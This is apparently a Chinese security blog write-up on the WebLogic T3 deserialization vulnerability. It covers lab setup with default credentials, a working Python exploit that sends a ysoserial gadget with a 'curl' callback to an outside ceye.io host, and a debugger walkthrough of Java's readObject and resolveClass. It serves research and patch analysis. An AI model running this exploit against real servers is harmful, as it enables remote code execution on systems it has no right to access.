图片全挂了
Java weblogic-T3协议漏洞
0x01 weblogic
来源百度百科
WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
0x02 T3协议
T3协议是weblogic用于通信的协议,类似于RMI的JRMP,都是一对一的模式,对于T3协议的理解可以看看大佬的文章,很通俗易懂
Java安全之初探weblogic T3协议漏洞 - nice_0e3 - 博客园 (cnblogs.com)
简单的来说,T3协议在传输序列化的过程中,分为几个部分
图片取自z_zz_zzz师傅的修复weblogic的JAVA反序列化漏洞的多种方法文章。
第1部分为协议头。即t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n
这串数据,这串数据传输后,会获得一个response,包含了weblogic的版本号,而攻击的手段就分为两种
第一种生成方式为,将weblogic发送的JAVA序列化数据的第二到九部分的JAVA序列化数据的任意一个替换为恶意的序列化数据。
第二种生成方式为,将weblogic发送的JAVA序列化数据的第一部分与恶意的序列化数据进行拼接。
0x03 环境搭建
weblogic的环境比较复杂,但是有大佬已经做好集成的环境了
QAX-A-Team/WeblogicEnvironment: Weblogic环境搭建工具 (github.com)
跟着提示做就没有问题
编译运行
docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar -t weblogic1036jdk7u21 .
docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21
运行后可访问http://localhost:7001/console/login/LoginForm.jsp
登录到Weblogic Server管理控制台,默认用户名为weblogic
,默认密码为qaxateam01
然后说一下IDEA的远程调试
需要讲weblogic的依赖jar包导出来进行远程调试
可以看看这个大佬的文章
IDEA+docker,进行远程漏洞调试(weblogic) - ph4nt0mer - 博客园 (cnblogs.com)
我本地是weblogic1036jdk7u21的版本
然后我运行sudo ./run_weblogic1036jdk6u25.sh
,这个脚本会讲里面的jar包导出,然后开启debug模式,debug端口就是8453
这时候我们得到文件后,跟着上面这个文章的大佬做就行了,debug配置如下
0x04 漏洞复现及分析
漏洞复现
用以下exp试探漏洞复现是否成功
import socket
import sys
import struct
import re
import subprocess
import binascii
def get_payload1(gadget, command):
JAR_FILE = 'ysoserial.jar'
popen = subprocess.Popen(['java', '-jar', JAR_FILE, gadget, command], stdout=subprocess.PIPE)
return popen.stdout.read()
def get_payload2(path):
with open(path, "rb") as f:
return f.read()
def exp(host, port, payload):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n".encode()
sock.sendall(handshake)
data = sock.recv(1024)
pattern = re.compile(r"HELO:(.*).false")
version = re.findall(pattern, data.decode())
if len(version) == 0:
print("Not Weblogic")
return
print("Weblogic {}".format(version[0]))
data_len = binascii.a2b_hex(b"00000000") #数据包长度,先占位,后面会根据实际情况重新
t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") #t3协议头
flag = binascii.a2b_hex(b"fe010000") #反序列化数据标志
payload = data_len + t3header + flag + payload
payload = struct.pack('>I', len(payload)) + payload[4:] #重新计算数据包长度
sock.send(payload)
if __name__ == "__main__":
host = "192.168.24.129"
port = 7001
gadget = "Jdk7u21" #CommonsCollections1 Jdk7u21
command = "curl http://4z65as.ceye.io/"
payload = get_payload1(gadget, command)
exp(host, port, payload)
在ceye网站上可以看到命令执行成功了
这个EXP执行结束后,可以看到从数据包中得到weblogic的版本号
漏洞分析
进行反序列化是InboundMsgAbbrev
类里面的readObject
方法里,这个类的路径如下图所示
这里面调用了ServerChannelInputStream
的readObject
方法 继续跟进
可以看到ServerChannelInputStream
继承了ObjectInputStream
,而且自己本身是没有重写readObject
方法,而且resolveClass
方法也是调用的父类方法
resolveClass
方法的作用是将类的序列化描述符加工成该类的Class对象,是原生readObject方法其中的一环,在后面的补丁中,weblogic也会针对resolveClass
的重写进行一个反序列化攻击的防御
所以我们可以先分析一下原生反序化中是如何调用到resolveClass
方法的,又如何在其中处理的
0x05 原生readObject分析
先写一个简单的JavaBean然后将其用objectOutputStream
序列化保存,再用objectInputStream
进行反序列化
import java.io.*;
public class originReadObject implements Serializable {
public int age;
public String name;
originReadObject(int age,String name){
this.age = age;
this.name = name;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
public void print(){
System.out.println("success!");
}
public String toString(){
return "age:"+age+"\n"+"name:"+"\n";
}
public static void main(String[] args) throws Exception{
originReadObject oro = new originReadObject(19,"crilwa");
oro.print();
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.ser"));
oos.writeObject(oro);
ObjectInputStream ois = new ObjectInputStream((new FileInputStream("1.ser")));
ois.readObject();
}
}
下个断点,然后强制步入
一路进到readObject0
方法内,跟进
里面定义了一个tc去读取数据流的第一个字节,如果等于TC_RESET
就执行while里面的内容,因为我们tc=115
,这里就跳过不执行了
紧接着来到一个switch语句
因为tc=115
所以到了
case TC_OBJECT:
return checkResolve(readOrdinaryObject(unshared));
跟进readOrdinaryObject
方法
这里调用了readClassDesc
方法,继续跟进
可以看到,这里令tc等于数据流的第二个字节,也就是114,然后又进入了一个switch语句,然后我们会进入readNonProxyDesc
方法中,继续跟进
可以看到,这里定义了一个变量readDesc
来获取类描述符,如果不存在则会抛出异常,紧接着会调用resolveClass
方法,我们跟进一下resolveClass
方法
这里会获取需要序列化的类名,然后利用反射的方法获取该类的Class对象,latestUserDefinedLoader()
方法返回的是sun.misc.VM.latestUserDefinedLoader()
说明指定了该加载器,返回到readOrdinaryObject
方法中继续做分析。
该方法对反序列化的操作进行实现,我们跟进一下
这里slotDesc.hasReadObjectMethod()
会判断是否重写了readObject
方法,如果重写就进入slotDesc.invokeReadObject(obj, this);
没有重写则会进入下面的defaultReadFields
方法里面
至此原生readObject就分析完了,接下来的weblogic会根据resolveClass
进行修复,到时候我们再深入分析resolveClass
的防御